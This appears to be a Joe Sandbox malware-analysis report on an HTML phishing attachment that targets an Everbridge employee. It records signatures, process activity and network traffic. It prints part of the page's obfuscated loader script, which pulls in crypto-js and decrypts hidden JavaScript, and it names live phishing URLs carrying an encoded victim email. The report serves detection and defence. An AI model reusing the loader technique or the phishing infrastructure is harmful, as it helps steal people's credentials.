Edit tour

Windows Analysis Report
carly.joseph@everbridge.com.html

Overview

General Information

Sample name:	carly.joseph@everbridge.com.html
Analysis ID:	1537151
MD5:	fb40801265a5ff3872c2e87d85edbf8a
SHA1:	358ad0fd6d5a8c1a88b97a0a4d681caca81d26b6
SHA256:	e6468d7280e94b6c4a5029fa70f8b79b36a53d39516f783b0805b7e28df11b50
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Yara detected BlockedWebSite

Yara detected Phisher

HTML page contains hidden email address

Connects to many different domains

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\carly.joseph@everbridge.com.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,15726479517035873592,16101725115558247750,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_315	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security
dropped/chromecache_324	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

HTML

Source	Rule	Description	Author	Strings
3.2.pages.csv	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected BlockedWebSite

Source: Yara match	File source: 3.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_315, type: DROPPED

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_324, type: DROPPED

HTML page contains hidden email address

Source: file:///C:/Users/user/Desktop/carly.joseph@everbridge.com.html	HTTP Parser: carly.joseph@everbridge.com
Source: https://www.linksideas.poc-asia.com/img/arull.php	HTTP Parser: carly.joseph@everbridge.com

Source: carly.joseph@everbridge.com.html

HTTP Parser: Base64 decoded: carly.joseph@everbridge.com

Source: https://www.linksideas.poc-asia.com/img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal

HTTP Parser: var jointly= document.createelement("script");jointly.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(jointly);jointly.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoiovlyrfrunmftvzfvbeq0unnduvhruvl1qmpjcnfaaja4amhzslbrqkjdu0lgmvn3umm4q285qjjtmnb2mhnkmfhizvkytxhxret3tglnwxplnnz3but1mwtis2u3q2zsq2x6yw1erwy4sjbmuu15ystieks1qvrjqwy2vwziyw1bs25vsfrlxc9dthuxrnnpcvrirzdyrul4t1fiofhumnrtduoyrzlstzjrytltwjzxblhhtm1jn2tlrmq2vxzvq2ttvzhqbflrv3ffavbzdfhvwlu1ufbnthfdy1jpbhbfczhhtdvws204m0jvdjdwmzu5a05aajn3k09uqxc0wvf6r3dzk1hvvez0q2e5k01rbm9xz2u4dytkm2pim2rjvhbsqjvmwe91uuvqwehyrwe3yvqwednqbxexdurhowpozknizfixk3rhadd3u3i2b2c2vlpbmzk2ugjxbfwvrvf2cglnevbskzjbwgzyre13t2tlu0plqkvwm0t3sdfobtjfclwvrlf2b01nyvdos2jtumfmdmphsjjcwm5cuvgzcw5uk0u3mu9gzevieu1kwjrsrjczvg1jmhfhdjnjsmzqu2jjvzrcngxkb3dztdyzbfduslnoque9psisimmioii1ocisimiioiiwyyisimqioii2ytzmnjk2ztc0nmm3osj9"));var klutziness = cryptojs.pbkdf2(cryptojs.enc.hex.parse(d),cryptojs.enc.hex.p...

Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-SQCRB0TXZW&gacid=577951860.1729259323&gtm=45je4ah0v895724479z8890325950za200zb890325950&dma=0&gcs=G111&gcd=13r3r3r3r5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101686685&z=432065990
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2?
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2?
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com

Source: carly.joseph@everbridge.com.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/carly.joseph@everbridge.com.html	HTTP Parser: No favicon
Source: https://www.linksideas.poc-asia.com/img/arull.php	HTTP Parser: No favicon
Source: https://bookingadocel.com/QZ6XM/#1Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon

Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="author".. found
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="author".. found
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="author".. found
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: No <meta name="author".. found
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: No <meta name="author".. found

Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49737 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:50944 version: TLS 1.2

Source: unknown

Network traffic detected: DNS query count 48

Source: global traffic

TCP traffic: 192.168.2.8:50694 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 192.28.144.124 192.28.144.124
Source: Joe Sandbox View	IP Address: 18.66.102.127 18.66.102.127
Source: Joe Sandbox View	IP Address: 151.101.65.140 151.101.65.140

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49737 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.67

Source: global traffic	HTTP traffic detected: GET /img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal HTTP/1.1Host: www.linksideas.poc-asia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal HTTP/1.1Host: www.linksideas.poc-asia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.linksideas.poc-asia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.linksideas.poc-asia.com/img/arull.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /QZ6XM/ HTTP/1.1Host: bookingadocel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.linksideas.poc-asia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: bookingadocel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bookingadocel.com/QZ6XM/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yhetku68lr1x2M1&MD=wcCDAwHU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: bookingadocel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bookingadocel.com/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bookingadocel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bookingadocel.com/QZ6XM/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: bookingadocel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /learning/access-management/phishing-attack/ HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://bookingadocel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /img/privacyoptions.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
